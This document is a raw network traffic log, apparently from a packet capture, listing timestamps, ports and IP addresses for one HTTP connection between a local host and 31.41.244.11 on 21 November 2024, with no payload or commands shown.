Nov 21, 2024 03:09:10.880470037 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.880562067 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.880631924 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.885157108 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.887577057 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.979413986 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.979531050 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.979552031 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.979631901 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.981214046 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.981270075 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.981971979 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.982029915 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.982069016 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.982124090 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.985641003 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.985702038 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.985765934 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.985842943 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.989511013 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.989583015 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.989639997 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.989809036 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.992921114 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.992980003 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.993041992 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.993097067 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.996485949 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.996546984 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.996598959 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.996659994 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.999983072 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.000042915 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.000073910 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.000144958 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.003396034 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.003452063 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.003487110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.003537893 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.006714106 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.006768942 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.006850004 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.006906986 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.010071993 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.010128975 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.010193110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.010247946 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.013288021 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.013396025 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.013396978 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.013464928 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.016561985 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.016618967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.016671896 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.016729116 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.019819021 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.019877911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.019941092 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.019994974 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.023082972 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.023139000 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.023195028 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.023248911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.026320934 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.026398897 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.026437044 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.026515007 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.029567957 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.029625893 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.029690027 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.029745102 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.032845974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.032901049 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.032953978 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.033009052 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.036112070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.036169052 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.036217928 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.036269903 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.039377928 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.039482117 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.039483070 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.039549112 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.042609930 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.042670012 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.042728901 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.042782068 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.045867920 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.045926094 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.045989037 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.046046972 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.049103975 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.049160957 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.049228907 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.049283028 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.052417994 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.052525043 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.052586079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.052656889 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.055659056 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.055717945 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.055788040 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.055843115 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.058895111 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.058954954 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.059025049 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.059077978 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.062119961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.062180996 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.062220097 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.062274933 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.065402985 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.065460920 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.065499067 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.065552950 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.068624973 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.068686008 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.068747997 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.068804979 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.071898937 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.071958065 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.072020054 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.072092056 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.075162888 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.075222969 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.075283051 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.075366020 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.078418016 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.078476906 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.078541040 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.078596115 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.081655025 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.081713915 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.081774950 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.081830025 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.084925890 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.085091114 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.085170984 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.088165998 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.088283062 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.088355064 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.091464043 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.091547966 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.091598034 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.091650963 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.094693899 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.094923019 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.094981909 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.097959042 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.098129988 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.098196983 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.101197004 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.101280928 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.101311922 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.101366043 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.104474068 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.104598045 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.104599953 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.104866982 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.107722998 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.107882977 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.107964039 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.180916071 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.180986881 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.181050062 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.181164980 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.182061911 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.182136059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.182189941 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.182248116 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.184422016 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.184564114 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.184627056 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.186844110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.186903954 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.186955929 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.187004089 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.189178944 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.189233065 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.189279079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.189332962 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.191509962 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.191567898 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.191648960 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.191737890 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.193840027 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.193914890 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.193974972 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.196055889 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.196176052 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.196233988 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.198290110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.198347092 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.198412895 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.198609114 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.200546980 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.200661898 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.200772047 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.202713013 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.202769041 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.202835083 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.202883959 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.204830885 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.204973936 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.205032110 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.207005978 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.207103014 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.207120895 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.207144976 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.209115982 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.209171057 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.209234953 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.209287882 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.211225033 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.211282015 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.211365938 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.211421967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.213345051 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.213397026 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.213572025 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.213625908 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.215465069 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.215528011 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.215542078 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.215603113 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.217403889 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.217459917 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.217464924 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.217514992 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.219485998 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.219547987 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.219557047 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.219621897 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.221429110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.221496105 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.221637011 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.221694946 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.223464966 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.223526955 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.223584890 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.223643064 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.225438118 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.225501060 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.225569010 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.225621939 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.227402925 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.227468967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.227539062 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.227595091 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.229394913 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.229475021 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.229496956 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.229552031 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.231337070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.231446981 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.231448889 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.231511116 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.233247995 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.233310938 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.233372927 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.233437061 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.234400034 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.234453917 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.234497070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.234546900 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.235523939 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.235588074 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.235652924 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.235707045 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.236644030 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.236700058 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.236766100 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.236814976 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.237802982 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.237859011 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.237921953 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.237971067 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.238914013 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.238975048 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.239058971 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.239108086 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.240068913 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.240119934 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.240144968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.240191936 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.241221905 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.241280079 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.241331100 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.241379023 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.242352962 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.242409945 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.242520094 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.242592096 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.243469000 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.243534088 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.243597984 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.243647099 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.244633913 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.244688988 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.244749069 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.244801998 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.245748043 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.245807886 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.245872021 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.245922089 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.246892929 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.246948957 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.247030973 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.247078896 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.248034000 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.248094082 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.248145103 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.248194933 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.249175072 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.249228001 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.249294043 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.249344110 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.250302076 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.250356913 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.250441074 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.250490904 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.251440048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.251492977 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.251557112 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.251609087 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.252582073 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.252640009 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.252702951 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.252819061 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.253726006 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.253779888 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.253842115 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.253891945 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.254853964 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.254909039 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.254966974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.255018950 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.255985022 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:11.256047010 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:11.256105900 CET	80	49814	31.41.244.11	192.168.2.5
